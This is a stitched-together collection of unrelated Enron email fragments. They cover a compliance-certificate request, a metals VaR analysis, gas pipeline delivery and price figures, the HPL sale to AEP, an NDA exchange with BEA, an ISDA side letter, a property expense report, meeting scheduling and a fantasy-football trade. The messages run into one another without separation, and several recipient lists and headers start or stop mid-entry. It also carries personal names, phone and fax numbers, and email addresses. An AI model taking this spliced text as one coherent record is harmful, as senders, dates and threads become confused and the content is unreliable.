Trefz/Corp/Enron@ENRON, Jay Wills/Corp/Enron@ENRON, Robert 
Benson/Corp/Enron@ENRON, John Berger/HOU/EES@EES, Paul J 
Broderick/HOU/ECT@ECT, Rick L Carson/HOU/ECT@ECT, Matt Lorenz/HOU/ECT@ECT, 
Kyle Schultz/HOU/ECT@ECT, John Suarez/Enron Communications@Enron 
Communications, Jeffrey Miller/NA/Enron@Enron, Doug 
Gilbert-Smith/Corp/Enron@ENRON, Larry Valderrama/HOU/ECT@ECT, George 
Hopley/HOU/ECT@ect, Dana Davis/HOU/ECT@ECT, Rogers Herndon/HOU/ECT@ect, Greg 
Woulfe/Enron Communications@Enron Communications, John Zufferli/CAL/ECT@ECT, 
Clint Dean/Corp/Enron@Enron, Tom Dutta/HOU/ECT@ECT, Patrick 
Hanse/HOU/ECT@ECT, Bill Rust/HOU/ECT@ECT, Laura Podurgiel/HOU/ECT@ECT, Nicole 
La/Enron Communications@Enron Communications, John M Forney/HOU/ECT@ECT, 
Jesse Bryson/HOU/ECT@ECT, Stanley Cocke/PDX/ECT@ECT, Mark Guzman/PDX/ECT@ECT, 
Jeremy Morris/PDX/ECT@ECT, Holden Salisbury/PDX/ECT@ECT, Ryan 
Slinger/PDX/ECT@ECT, Collin Whitehead/PDX/ECT@ECT, Bill Williams 
III/PDX/ECT@ECT, Mike Swerzbin/HOU/ECT@ECT, Diana Scholtes/HOU/ECT@ECT, Sean 
Crandall/PDX/ECT@ECT, Michael M Driscoll/PDX/ECT@ECT, Donald 
Robinson/PDX/ECT@ECT, Cara Semperger/PDX/ECT@ECT, Mike Purcell/PDX/ECT@ECT, 
Pedro Fernando Manrique/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Bill 
Greenizan/CAL/ECT@ECT, William Alonzo/TRANSREDES@TRANSREDES
cc: Veronica Valdez/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT 
Subject: RESPONSE NEEDED THIS WEEK PLEASE- Risk Mgmt Compliance Certificate

Please print and sign the attached Enron Corp. Risk Management Policy 
Certificate of Compliance and fax directly to Veronica Valdez, fax # 713 646 
2194. Due to certain regulatory audits of our trading businesses, we would 
like to receive these by the end of this week.  

Attached is a copy of the Certificate of Compliance, and the Enron Corp. Risk 
Management Policy.

If you have any questions, please call me at (713) 853-0429, or Veronica 
Valdez at (713) 853-1881.

Regards,
Market Risk Management

From: Brady, Kevin 
Sent: Friday, January 18, 2002 9:26 AM
To: Kulic, Sladana-Anna; Pehlivanova, Biliana; Ames, Chuck; Darren Espey
(E-mail); Greg Watson (E-mail); Choate, Heather; Hernandez, Jesus A;
Josh Harding (E-mail); Martin McDonald (E-mail); NDBrady (E-mail);
Pimenov, Vladi
Subject: FW: America On Alert

From: 	Gilmore, Tammy  
Sent:	Friday, January 18, 2002 9:16 AM
Subject:	FW:  America On Alert

> > A LITTLE AFTERNOON HUMOR :)
> >
> >
> > Stay on alert
> >
> > We've been advised that terrorists may attempt to
> > pass themselves off as ordinary American citizens
> > and may even attempt to change their hair color,
> > wardrobe or appearance in order to "blend in". You
> > are advised to notify the authorities of any
> > suspicious individuals who may match the following
> > examples.
> >
> > See attached file: Example
> >
> >

FYI, here is the latest updated presentation.
mike
---------------------- Forwarded by Mike McConnell/HOU/ECT on 01/08/2001 
12:51 PM ---------------------------

Jason Rios@ENRON
01/08/2001 09:48 AM
To: Cathy Phillips/HOU/ECT@ECT, Mike McConnell/HOU/ECT@ECT
cc:  
Subject: Global Markets presentation

As requested...

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 07/28/2000 
   
	From:  Kirstee Hewitt                           07/28/2000 02:08 PM
	
To: Cantekin Dincerler/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Grant 
Masson/HOU/ECT@ECT, Bjorn Hagelmann/HOU/ECT@ECT
cc: Steven Leppard/LON/ECT@ECT 
Subject: MG VaR Results for the 27th July

Hi,
I have run the VaR with updated factor loadings for the gold,silver and cocoa 
bean positions. The biggest change in VaR from 
adding this information has been to the Cocoa bean position which has 
increased from approx $45,900 to $506,553.
The overal VaR has not changed by very much as the position file I was sent 
from Andreas had not changed from the 26th - I 
have queried this and it will not be a problem to re-run the numbers on 
Monday if I recieve a further file.
The VaR summary for all the metals is as follows :

Also, after having a conversation with Bjorn about stress/scenario analysis I 
thought I might quickly try to set up a few scenarios to 
see how sensitive the VaR is to a position change in Aluminium, Nickel and 
Copper.
I have only applied position increases (thge direction of the shifts are 
dependent on the monthly outright position direction) up until Dec2000.
The shifts and results are given in the following attached spreadsheet.  

It is interesting that the individual VaR's are particuarly sensitive to 
increasing the position for Nickel.
I would like to discuss these results on Monday and any further suggestions 
for senarios would also be gratefully recieved.

Have a good weekend,
Kirstee.

Transwestern's average deliveries to California were 1110 MMBtu/d (100%) with 
San Juan lateral throughput at 813 MMBtu/d and Rio Puerco at 59 MMBtu/d.  
Total east deliveries averaged 291 MMBtu/d.  

El Paso average deliveries to California were 2459 MMBtu/d (84%) :
- PG&ETop (capacity 1140 MMBtu/d) deliveries averaged 708 MMBtu/d (62%)
- SoCalEhr (capacity 1248 MMBtu/d) deliveries averaged 1233 MMBtu/d (99%)
- SoCalTop (capacity 541 MMBtu/d) deliveries averaged 518 MMBtu/d (96%)

Friday posted Gas Daily prices:
 SoCal gas, large pkgs  15.185
 PG&E, large pkgs  10.74
 TW San Juan      7.38 
 TW Permian      7.34

Friday Enron Online bases:
  Feb  Mar  Apr-Jun  Jul-Sep  Oct
Perm-CA 6.11  2.15  1.68  2.78  1.88
SJ - CA  6.20  2.28  2.07  3.14  2.99   
SJ-Waha   .05     .155    .40    .40       .40
Perm-Waha   .04     .025      .01    .01    .01

---------------------- Forwarded by Bob M Hall/NA/Enron on 01/11/2001 05:25 

Michael Eiben@ECT
01/11/2001 04:04 PM
To: Bob M Hall/NA/Enron@Enron
cc:  

Subject: Sale of HPL

i don't know if you are on here or not.

---------------------- Forwarded by Michael Eiben/HOU/ECT on 01/11/2001 04:02 
   
	From:  Brian Redmond                           01/11/2001 03:56 PM
	
Sent by: Lillian Carroll
To: Thomas A Martin/HOU/ECT@ECT, Jim Schwieger/HOU/ECT@ECT, Edward D 
Gottlob/HOU/ECT@ECT, Elsa Villarreal/HOU/ECT@ECT, Greg McClendon/HOU/ECT@ECT, 
Danny Conner/NA/Enron@Enron, Carey M Metz/HOU/ECT@ECT, Lauri A 
Earl Tisdale/HOU/ECT@ECT, David Hohl/NA/Enron@Enron, Steven 
Chambers/OTS/Enron@Enron, Michael C Winders/HOU/ECT@ECT, Jill T 
Zivley/HOU/ECT@ECT, Gary Bryan/HOU/ECT@ECT, Brian M Riley/HOU/ECT@ECT, 
Michael C Bilberry/HOU/ECT@ECT, Jennifer Martinez/HOU/ECT@ECT, George 
Weissman/HOU/ECT@ECT, JoAnne Harris/NA/Enron@Enron, Christy 
Sweeney/HOU/ECT@ECT, Greg Brazaitis/HOU/ECT@ECT, Lee L Papayoti/HOU/ECT@ECT, 
Janet H Wallis/HOU/ECT@ECT, Gary W Lamphier/HOU/ECT@ECT, Michael W 
Morris/HOU/ECT@ECT, Steve HPL Schneider/HOU/ECT@ECT, Jack 
Simunek/HOU/ECT@ECT, Nathan L Hlavaty/HOU/ECT@ECT, Ron 
Green/Corp/Enron@Enron, Gerald Lofton/HOU/ECT@ECT, Cheryl 
Marshall/HOU/ECT@ECT, Emma Kam Welsch/HOU/ECT@ECT, Fred 
Biery/GCO/Enron@ENRON, Sean Brooks/GCO/Enron@ENRON, Kenny 
Cooper/GCO/Enron@ENRON, John Miska/GCO/Enron@ENRON, Perry 
Roberts/GCO/Enron@ENRON, John Towles/NA/Enron@ENRON, Karl E 
Atkins/NA/Enron@ENRON, Robert Rose/NA/Enron@ENRON, Debbie 
Boudar/NA/Enron@ENRON, Aric Archie/NA/Enron@Enron, Ken Parker/HOU/ECT@ECT, 
Roger Spiller/OTS/Enron@ENRON, Tom Shelton/HOU/ECT@ECT, Kenneth W 
Kaase/HOU/ECT@ECT, Charlie Thompson/GCO/Enron@ENRON, Steve 
Cherry/GCO/Enron@ENRON, Robert Newman/GCO/Enron@ENRON, David 
Kantenberger/GCO/Enron@ENRON, Nick Cocavessis/Corp/Enron@ENRON, Robert 
Cook/HOU/ECT@ECT, John Handley/HOU/ECT@ECT, Robert Crockett/HOU/ECT@ECT, 
Molly L Carriere/HOU/ECT@ECT, Barbara Sargent/HOU/ECT@ECT, Brad 
Blevins/HOU/ECT@ECT, Chris Sonneborn/HOU/ECT@ECT, Audrey O'Neil/HOU/ECT@ECT, 
Lal Echterhoff/HOU/ECT@ECT, James R Haden/HOU/ECT@ECT, Kevin 
Kuehler/Corp/Enron@ENRON, Tom Fry/GCO/Enron@Enron, Dick 
Danes/GCO/Enron@ENRON, Ty Porche/GCO/Enron@ENRON, Vicente 
Dodd/GCO/Enron@Enron, Bac Thi Ly/GCO/Enron@Enron, Glenn 
Gregory/GCO/Enron@ENRON, Ronald Surber/GCO/Enron@ENRON, Jacob 
Krautsch/GCO/Enron@ENRON, Alan Locke/GCO/Enron@ENRON, Jesse 
Logan/GCO/Enron@ENRON, Gerry Boyd/GCO/Enron@ENRON, Maurice 
Rayburn/GCO/Enron@ENRON, Mike Polan/GCO/Enron@Enron, Pat 
Clynes/Corp/Enron@ENRON, Daren J Farmer/HOU/ECT@ECT, Stacey 
Neuweiler/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, O'Neal D 
Winfree/HOU/ECT@ECT, Irene Flynn/HOU/ECT@ECT, Michael Eiben/HOU/ECT@ECT, 
Donna Consemiu/HOU/ECT@ECT, Cathy L Harris/HOU/ECT@ECT, Howard B 
Camp/HOU/ECT@ECT, Jackie Morgan/HOU/ECT@ECT, Cheryl Dudley/HOU/ECT@ECT, 
Veronica I Arriaga/HOU/ECT@ECT, Janie Aguayo/HOU/ECT@ECT, Amelia 
Leslie Robinson/Corp/Enron@ENRON, Jason Vogler/NA/Enron@Enron, Fred 
Boas/HOU/ECT@ECT, Karen Lindley/Corp/Enron@ENRON, Anita Luong/HOU/ECT@ECT, 
Thu T Nguyen/HOU/ECT@ECT, Cynthia Hakemack/HOU/ECT@ECT, Cynthia 
Shoup/HOU/ECT@ECT, Gregg Lenart/HOU/ECT@ECT, Charlene Richmond/HOU/ECT@ECT, 
Paul Couvillon/Corp/Enron@Enron, Joanie H Ngo/HOU/ECT@ECT, Rebecca 
Griffin/NA/Enron@Enron, Nick Moshou/Corp/Enron@ENRON, Jim Coffey/HOU/ECT@ECT, 
Karry Kendall/HOU/ECT@ECT, Yvette Miroballi/HOU/ECT@ECT, Melissa 
Graves/HOU/ECT@ECT, Karen Gruesen/HOU/ECT@ECT, Blanca A Lopez/HOU/ECT@ECT, 
Anita Eisenbrandt/HOU/ECT@ECT, Cassandra Pollack/Corp/Enron@Enron, Jackie 
Nelson/HOU/ECT@ECT, Terrance Pinckney/NA/Enron@Enron, Jacquelyn 
Azore/NA/Enron@Enron, Erica Wright/NA/Enron@Enron, Ana Maria 
Hernandez/NA/Enron@Enron, Tammy Masters/NA/Enron@Enron, James 
Little/NA/Enron@ENRON, Becky Pitre/HOU/ECT@ECT, Frank Cernosek/HOU/ECT@ECT, 
Donald P Reinhardt/HOU/ECT@ECT, Vance L Taylor/HOU/ECT@ECT, Susan 
Smith/HOU/ECT@ECT, Susie Orsak/Corp/Enron@Enron, Carol Carter/HOU/ECT@ECT, 
Liz Bellamy/NA/Enron@Enron
cc:  

To all: 

The proposed sale of HPL to American Electric Power (AEP) has been signed and 
the conditions for the acquisition should be completed within the coming 
months.  Over the next few days, I will be forwarding more details about the 
transition process.  These details will outline the employment opportunities 
and transfer process to AEP.   AEP is eager to complete these arrangements, 
as the pipeline is only as valuable as the people who operate it.

During the transition period, it is important that we keep the pipe line 
operating at our historical level of reliability in order to meet the energy 
needs of our customers.

Regards,
Brian

    Tana,

    Thanks for the message.  I have printed and signed the clean version of 
Rev4 of the NDA (attached are redlined
and clean versions of Rev4 - which is the same as Rev3 plus the 
nonsolicitation language to which Mark and I
agreed).  I am going to fax it to you right now.

    My direct fax number is 720.493.6270.

    Thanks again,

    Steve

Tana.Jones@enron.com wrote:

> Steve,
>
> I am Mark's paralegal.  Why don't you go ahead and fax that agreement to me
> at (713) 646-3490 and it will get the agreement signed and faxed it back to
> you.  What is your fax number?
>
>
>                     Steve Howarth
>                     <steve.howart        To:     Mark.Greenberg@enron.com
>                     h@bea.com>           cc:     Francis Minor 
<fminor@bea.com>, Kevin.Montagne@enron.com, Mike
>                                          Thack <mike.thack@bea.com>, 
>                     05/30/2001           Subject:     Re: BEA NDA with Enron
>                     06:34 PM
>
>
>
>     Mark,
>
>     Thanks for the response.  Apparently the meeting is tomorrow, and we
> have
> missed the FedEx deadline for today.  Shall I fax the signed NDA to you so
> that
> the meeting can go forward, and FedEx 2 originals to you for formal
> signature
> processing?
>
>     Steve
>
> Mark.Greenberg@enron.com wrote:
>
> > Steve -
> >
> > We are good to go on the agreement.  If you can sign on your end and have
> > your people bring it with them to meet with Enron, we will get it signed.
> >
> > Thanks.
> >
> > Mark
> > Senior Counsel, EWS
> > Phone:     713-345-8897
> > Facsimile: 713-646-3490
> > E-Mail:      Mark.Greenberg@enron.com
> >
> >
> >                     Steve Howarth
> >                     <steve.howart        To:     Mark.Greenberg@enron.com
> >                     h@bea.com>           cc:
> Kevin.Montagne@enron.com,
> >                                          Tana.Jones@enron.com, Mike Thack
> >                     05/30/2001           <mike.thack@bea.com>, Francis
> Minor
> >                     01:01 PM             <fminor@bea.com>
> >                                          Subject:     Re: BEA NDA with
> Enron
> >
> >
> >     Mark,
> >
> >     Thanks for the message.  I am standing by - and I have signature
> > authority,
> > so I can turn around the NDA quickly.
> >
> >     Steve
> >
> > Mark.Greenberg@enron.com wrote:
> >
> > > Steve -
> > >
> > > Sorry for the delay on this end.  I have been waiting for one approval
> on
> > > the non-solicitation provision I had forwarded.  I would suggest
> > inserting
> > > the language I suggested (another copy of which is attached) and
> > preparing
> > > final documents.  I should know later today or tomorrow if I have final
> > > approval.
> > >
> > > Thanks again for the patience.
> > >
> > > (See attached file: BEA - nonsolicit language.doc)
> > >
> > > Mark
> > > Senior Counsel, EWS
> > > Phone:     713-345-8897
> > > Facsimile: 713-646-3490
> > > E-Mail:      Mark.Greenberg@enron.com
> > >
> > >
> > ------------------------------------------------------------------------
> > >                                     Name: BEA - nonsolicit language.doc
> > >    BEA - nonsolicit language.doc    Type: Winword File
> > (application/msword)
> > >                                 Encoding: base64
> >
> > (See attached file: steve.howarth.vcf)
>
> (See attached file: steve.howarth.vcf)

 - ENRON  NDA 01 05 30, rev4redline.doc
 - ENRON  NDA 01 05 30, rev4clean.doc
 - steve.howarth.vcf

Stephanie:  at the moment, you'll find an attached exhibit B which is the ENE 
guaranty.  Check with me in the a.m.  thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 03/19/2001 07:00 PM -----

	03/19/2001 04:22 PM
		 
		 cc: 
		 Subject: FINAL (?) ISDA side letter

.... is attached for your review, clean and blacklined versions.

 - Allegheny  ENRON ISDA SIDE LETTER(vRED).DOC

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 08/20/2000 

"Lucy Gonzalez" <stagecoachmama@hotmail.com> on 08/16/2000 02:44:36 PM
cc:  
Subject: Daily Report

       Phillip,
               The a/c I bought today for #17 cost $166.71 pd by ck#1429
      8/16/00 at WAL-MART.Also on 8/15/00 Ralph's Appliance Centerck#1428
      frig & stove for apt #20-B IVOICE # 000119 AMT=308.56 (STOVE=150.00
     (frig=125.00)DEL CHRG=15.00\TAX=18.56 TOTAL=308.56.FAX MACHINE FOR
FFICE CK # 1427=108.25 FROM sTEELMAN OFFICE PRODUC

TS.                                           Thanxs, Lucy

Here's my goof!  Give me a call.  Sara
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 01/26/2000 
03:50 PM ---------------------------

01/17/2000 02:09 PM
To: Sara Shackleton@ENRON_DEVELOPMENT
cc:  
Subject: Conference Call RE tax issues

This would be 9 AM Houston time.  Can you follow up with Julian and Lynn to 
see if they can be available and I will inform Mike as to the purpose of the 
meeting.  Thanks.
---------------------- Forwarded by Brent Hendry/ENRON_DEVELOPMENT on 
17/01/2000 05:08 PM ---------------------------

Mariana Loaiza
17/01/2000 06:59 PM
cc:  

Conference with Julian, S. Jackleton and L. Evans: You've probably talked to 
Mike about this meeting, but anyway, it's OK for him on the 27th at 12p.   He 
would like to be briefed before this meeting.  
Thanks,
Mariana

George has no value after last weeks games - I will give you garner and 
toomer for taylor

"Bass, Jason" <Jason.Bass2@COMPAQ.com> on 09/26/2000 12:35:08 PM
cc:  
Subject: RE: Taylor

Garner, Robinson and Walls

For Taylor and George

Think about it hard because that is all I can do and I am going to start
shopping Taylor around

Jason Bass
TSE

Sent: Tuesday, September 26, 2000 9:57 AM
Subject: Taylor

Alright, you know now that you need to trade Taylor - what do you want for
him?